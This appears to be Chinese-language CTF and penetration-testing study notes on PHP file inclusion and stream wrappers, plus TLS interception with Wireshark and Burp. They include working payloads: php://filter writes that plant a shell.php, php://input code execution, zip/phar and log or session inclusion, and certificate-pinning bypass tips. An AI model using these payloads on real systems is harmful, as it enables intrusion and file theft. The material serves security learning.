PHP伪协议和文件包含

真实渗透的经验,通过:众测,补天

利用大模型:github,魔塔 阿里

hugg

viewsource函数展示文件

调试看c语言代码

题目1 trim,非顶层

复制代码
 <?php
 $password = trim($_REQUEST['password'] ?? '');
 $name = trim($_REQUEST['name'] ?? 'viewsource');
 function viewsource() {show_source(__FILE__);}
 ​
 if (strcmp(hash('sha256', $password), 'ca572756809c324632167240d208681a03b4bd483036581a6190789165e1387a') === 0) {
     function readflag() {
         echo 'flag';
     }
 }
 ​
 $name();
 ?>

顶层和非顶层

区别:

顶层函数:也叫全局函数,是指不嵌套在任何类、结构体、接口、命名空间或其他函数内部的独立函数,直接定义在程序的最外层作用域中。 非顶层函数:是指嵌套在其他代码结构内部的函数,常见形式包括类 / 对象的成员方法、嵌套函数(函数内部定义的函数)、命名空间内的函数等,依赖于外部包裹结构而存在。

复制代码
 # 顶层函数:直接定义在文件最外层,无任何包裹
 def top_level_function():
     return "这是顶层函数"
 ​
 # 非顶层函数1:类的成员方法(嵌套在类内部)
 class MyClass:
     def non_top_level_method(self):
         return "这是类内的非顶层函数(成员方法)"
 ​
 # 非顶层函数2:嵌套函数(嵌套在其他函数内部)
 def outer_function():
     def inner_nested_function():
         return "这是函数内的非顶层函数(嵌套函数)"
     return inner_nested_function()

1.如何处理

2.编译执行

3.php底层在在做什么:

词法(切割),

语法分析,ast树的构建,

编译成opcode指令,将语法树转成opcode数组,

opcode包含每一个变量对应的hander(c语言函数)

4.执行调用

zend_execute_scripts:php底层虚拟机,虚拟机底层脚本

解题在编译过程和执行过程

php编译函数:zend_compile_func_decl

看关键代码部分 三个变量,返回结果,是、ast,是否是顶层函数

命名空间:命名空间不痛函数变量相同不影响,使用方法:别名/导入 例如:函数名/变量

魔术常量:魔术常量会根据使用位置而变化

php闭包(closure),匿名函数,通过closure(变量)实现即把没有名字的函数赋值给变量

is_method 有function 一般都是类方法

zend_begin_func_decl 普通函数

顶层函数

把函数名放进去

不是顶层函数:在函数编译过程中会有一个新的函数名

生成一个临时的key值

命名规范:\0,+函数名(有key加入临时生成的)+文件路径+:+函数开始行号+$+访问函数次数

php底层研究:\0+函数名称+文件绝对路径+:+函数名称行号+$+访问次数(0)

本题目解决方法:

调用key,根据底层非顶层函数命名方法命名

利用trim函数

trim 函数

清除首位的空白字符或者其他(\0\t\v\n\r)

解决方法:加上反斜杠(\)

思考1

1.通信流量 是否可以被中间人解密(无条件 直接抓包 直接解密) 不能 为什么?

不可能,通信中间人不可能拿到私钥,用的rsa非对称加密(无人能破解2)密钥加密aes对称加密(不能破解)私钥

私钥拿不到就不会有问题,不能被伪造,

服务器将公钥用sha384加密交给ca私密加密,客服端拿到后用ca公钥解密,对比两者,实现了身份认证无法篡改

客户端生成的对称密钥aes,用服务器的公钥加密,发给服务端,服务端用私钥解密中间人无法解密,安全传递给了服务端

2.wireshark 如何自动解密tls流量

复制代码
 2. Wireshark 自动解密 TLS 流量的核心是获取 TLS 会话的密钥材料,再通过配置密钥路径或利用会话记录实现解密,主要有 3 种方式,适用于不同场景:
    方式 1:利用 Pre-Master Secret(PMS)或 Master Secret 文件(通用场景)
    TLS 握手过程中会生成 Master Secret(主密钥),客户端可导出该密钥并保存为文件,Wireshark 读取后即可解密。
    操作步骤:
    配置客户端导出密钥
    不同客户端设置方式不同,以 Chrome/Firefox 为例:
    启动浏览器前,设置环境变量(Windows/Linux/macOS 通用逻辑):
    bash
    运行
 # Linux/macOS 终端
 export SSLKEYLOGFILE=/path/to/sslkey.log
 # Windows cmd
 set SSLKEYLOGFILE=C:\path\to\sslkey.log
 启动浏览器,访问目标 HTTPS 网站,此时客户端会自动将 TLS 密钥写入 sslkey.log。
 配置 Wireshark 读取密钥文件
 打开 Wireshark → 点击 Edit → Preferences → Protocols → TLS。
 在 (Pre)-Master-Secret log filename 处,选择刚才生成的 sslkey.log 文件 → 保存。
 开始抓包(或导入已抓取的 TLS 包),Wireshark 会自动解密,Info 列会显示 Application Data 对应的明文内容。
 方式 2:针对 RSA 密钥交换 场景(仅 TLS 1.2 及以下,已逐步淘汰)
 如果 TLS 会话使用 RSA 非对称加密 交换密钥(非 ECDHE 等前向保密算法),可直接导入服务器的私钥解密。
 操作步骤:
 获取服务器的私钥文件(格式为 PEM、P12 等,如 Nginx 的 server.key)。
 Wireshark 配置:Edit → Preferences → Protocols → TLS → RSA keys list → 点击 Add。
 填写参数:
 IP address:服务器 IP
 Port:HTTPS 端口(默认 443)
 Protocol:选择 http(或对应应用层协议)
 Key File:选择服务器私钥文件 → 保存。
 抓包后自动解密,注意:此方法对 ECDHE 等支持前向保密(FS)的算法无效。
 方式 3:利用 SSLKEYLOG 环境变量(适用于本地客户端流量)
 和方式 1 原理一致,本质是让客户端自动生成密钥日志,适合抓包本地浏览器、APP 的 TLS 流量,无需额外配置服务器。
 关键限制:
 必须能控制客户端(导出密钥)或获取服务器私钥;
 对 TLS 1.3,仅支持通过 SSLKEYLOGFILE 方式解密(RSA 私钥方式无效)。

3.burpsuite 作为中间人 可以解密 满足什么条件 才可以看到抓取的明文数据?

复制代码
 Burp Suite 采用 Man-in-the-Middle(MITM,中间人) 攻击原理解密 TLS 流量,核心是让客户端信任 Burp 的 CA 证书,并完成 TLS 会话的代理劫持,具体需满足 4 个核心条件:
 条件 1:客户端流量必须经过 Burp 代理
 Burp 只能解密流经自身代理的流量,因此需要:
 客户端(浏览器 / APP)的 HTTP/HTTPS 代理配置指向 Burp(默认 Burp 代理端口是 8080,即 127.0.0.1:8080);
 若目标是 HTTPS 流量,客户端必须支持 HTTP CONNECT 方法(用于建立 TLS 隧道,这是 HTTPS 代理的基础)。
 条件 2:客户端必须信任 Burp 生成的 CA 证书
 这是最核心的条件,原理是:
 Burp 作为中间人,会动态生成伪造的服务器证书(证书中的域名与目标网站一致);
 该伪造证书由 Burp 自身的 CA 根证书 签名;
 若客户端不信任 Burp 的 CA 根证书,会提示 “证书不安全” 并拒绝建立连接,无法完成流量劫持。
 配置方法:
 导出 Burp CA 证书:Burp → Proxy → Options → Import/export CA certificate → 保存为 der 或 pem 格式;
 在客户端(浏览器 / 手机)中安装并信任该 CA 证书(浏览器需设为 “受信任的根证书颁发机构”)。
 条件 3:目标 TLS 会话不启用证书锁定(Certificate Pinning)
 证书锁定(Cert Pinning) 是客户端的安全机制:客户端内置目标服务器的证书哈希值,连接时会校验服务器证书的哈希是否与内置值一致。
 如果目标 APP / 网站启用了 Cert Pinning,即使客户端信任 Burp CA,也会因 Burp 伪造的证书哈希不匹配而拒绝连接,Burp 无法劫持流量;
 绕过方式:需对客户端进行逆向(如安卓 APP 反编译删除 Pinning 代码)或使用 Frida 等工具 Hook 掉 Pinning 校验函数。
 条件 4:TLS 握手能正常完成(无特殊加密 / 验证机制)
 排除客户端证书认证场景:如果服务端要求客户端提供证书(如金融、政务网站),Burp 需配置客户端证书才能通过校验,否则无法建立 TLS 连接;
 不支持非标准 TLS 扩展:部分自定义客户端可能修改 TLS 握手流程,Burp 无法识别时会导致解密失败。

原理

如何抵御bp抓包行为

双向认证 服务端和客户端双方认证

证书绑定(服务器的公钥指纹绑定在在app上)

绕过防御bp

证书绑定绕过:frida 底层函数检查公钥,hook钩住她让他为ture

双向认证绕过: rocapture框架 app底层 把密钥拿到监听

rocapture框架:防御:vmp

app上了vmp基本上不可能绕过。中小型公司不会上这个

vmp是什么

思考:app的包,后端服务器的地址,和通讯地址,遇到什么问题

思考:分析蚁剑的流量

文件包含 主要是include(php)

include("")

包含任意文件都会被当做php代码执行,include c语言不看后缀,<?php 开始标识符

php伪协议

file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://

PHP.ini:

allow_url_fopen :off/on

allow_url_include:off/on

file://协议 文件读取

file:// 协议在双off的情况下也可以正常使用;

file访问本地协议不受上面的影响

使用方法:

file=file://文件绝对路径

php://filter协议 可以看源码

php:// 协议不需要开启或者关闭

在ctf和真实渗透中常见

php://filter 可以实现read,write

过滤器里面还可以实现编码解码

消除标签

base64编码标签

复制代码
 filter 可以进行文件read和write 
 string.strip_tags
 ​
 base64
 convert.base64-encode and convert.base64-decode
 ​
 ​
 后面加入多个编码
  convert.iconv.* 高级的技巧  CTF 大型赛事 经常出现

base64 编解码 使用

base64编码然后去根据解码

file=php://filter/read=convert.base64-encode/resource=./文件名

先用base64加密在解码

file=php://filter/read=convert.base64-decode/resource=./文件名

stri_tags 去除标签 iconv

题目:所有漏洞必须用户可控

复制代码
 <?php
 $content = '<?php exit; ?>';
 $content .= $_POST['txt'];
 file_put_contents($_POST['filename'], $content);
 ​
 // base64 + string.strip_tags 
 // strip_tags|base64-decode

用base64编码解码只包含0-9a-z,其他的都是非法字符,四位一组,4的倍数

strip_tags

用base64------decode直接解码去掉无效代码,需要注入的语句直接base64加密,位数不足在前面加

第一种方法filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=写入内容的base64编码

第二种方法: strip_tags|base64-decode

filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php&txt=写入内容的base64编码

file_put-contents:文件写入函数

参数1写入文件名,写入文件内容

php://input

必须双on,默认不是双on

传参post和get同时存在,先将<?php info();> 用post传参给file=php://input。然后用get传参给include

file=php://input

要接受post传参

题目input

复制代码
 <?php
 show_source(__FILE__);
 include('flag.php');
 $a=$_GET["a"];
 // file_get_contents 读取文件内容
 if(isset($a)&&(file_get_contents($a,'r') === 'I want flag')){
     echo "success\n";
     echo $flag;
 }
 ​

file_get_contents 读取文件内容

file_put_contents

可以用stream伪协议的流--input

zip://

一个php文件压缩,不需要指定后缀名

自动解压压缩包 然后把压缩包的文件放下include 进行文件包含

触发:?file=zip://压缩文件的绝对路径%23文件内的子文件名

bzip2://

file=compress.bzip2://file.bzip2

zlib://协议

使用方法:

compress.zlib://file.gz

phar://路径/文件名

phar://./2.jpg/2.php

zip压缩包改名后可以利用phar访问到

data//

必须是双on

伪协议题目input

hint提示就是用input

复制代码
 <?php
 $file = $_GET["file"];
 ​
 if (!$file) echo '<a href="?file=upload">upload?</a>';
 if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
     echo "hick?";
     exit();
 }else{
     include($file.".php");
 }
 ?>

已经禁用,就只能用input

还是修改post部分:file=php://input

在get部分利用读取函数读取flag

<?php print_r(scandir('.'));?>找到文件

禁用了可以换其他的函数:问ai

读取文件:<?php print_r(file('./flag.php'));?>

show_source

<?php print_r(show_source('./flag.php'));?>

<?php echo file_get_contents('./flag.php');?>

<?php system('type flag.php');?>

linux:方式更多

伪协议题目filter

复制代码
 <meta charset="utf8">
 <?php
 error_reporting(0);
 $file = $_GET["file"];
 if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
     exit('hacker!');
 }
 if($file){
     include($file);
 }else{
     echo '<a href="?file=flag.php">tips</a>';
 }
 ?>

知道文件名:

?file=php://filter/read=convert.base64-encode/resource=flag.php

伪协议题目zip

复制代码
 //index.php
 <meta charset="utf8">
 <?php
 error_reporting(0);
 $file = $_GET["file"];
 if (!$file) echo '<a href="?file=upload">upload?</a>';
 if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
     echo "hick?";
     exit();
 }else{
     include($file.".php");
 }
 ?>
 <!-- flag在当前目录的某个文件中 -->
 //upload.php
 <meta charset="utf-8">
 <form action="upload.php" method="post" enctype="multipart/form-data" >
      <input type="file" name="fupload" />
     <input type="submit" value="upload!" />
 </form>
 you can upload jpg,png,zip....<br />
 <?php
 if( isset( $_FILES['fupload'] ) ) {
     $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名
     $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀
     $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小
     $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称
     $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
     if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
         ( $uploaded_size < 100000 ) ) {
         if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
             echo '<pre>upload error</pre>';
         }
         else {// Yes!
             echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
         }
     }
     else {
         echo '<pre>you can upload jpg,png,zip....</pre>';
     }
 }
  ?>

?file=zip://绝对路径/2.zip%2/32

包含APACHE日志文件

1.找到日志文件位置

url text.php?file=/var/log/nginx/access.log(日志位置)

apm安装一定在/etc/nginx/nginx.cont/

编译安装可能在任何位置

问题

权限问题

物理文件路径

日志太大:日志分割最好是在12点或者凌晨以后再包含

思考:任意文件读取作用:直接窃取敏感信息如系统配置文件,应用配置文件,业务数据,源码文件,为后续攻击铺路,可以知道文件路径可以进行包含

包含SESSION--真实环境下很难

记录登录行为,记录账号信息,一定时间内免密登陆

cookie'---session

1.xss存储型,可以盗取icookie

插入xss代码:js代码让管理员触发,入侵者拿到cookie免密登陆

2.session可以预防逻辑漏洞,

平行权限会产生漏洞

防范平行权限:加入 session uid select username from uses where uid =$uid and session[uid]

利用session条件:知道路径

常见路径:/var/lib/php/sess_phpSESSID

/tmp/sess_phpSESSID

见到以下可能会出现文件包含

file=

action=php[:////filter/read=conver.base64_encode/resource

act=

img=

包含临时文件

知道文件路径,php上传时会出现生成一个临时文件,再临时文件删除之前完成

后端不会接临时文件,但是还是会删除临时文件,被自动删除了

条件:1文件不能删:利用程序要快,多次上传,2猜到临时文件名称 在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录(可以暴力)

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
DianSan_ERP5 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
呉師傅5 天前
火狐浏览器报错配置文件缺失如何解决#操作技巧#
运维·网络·windows·电脑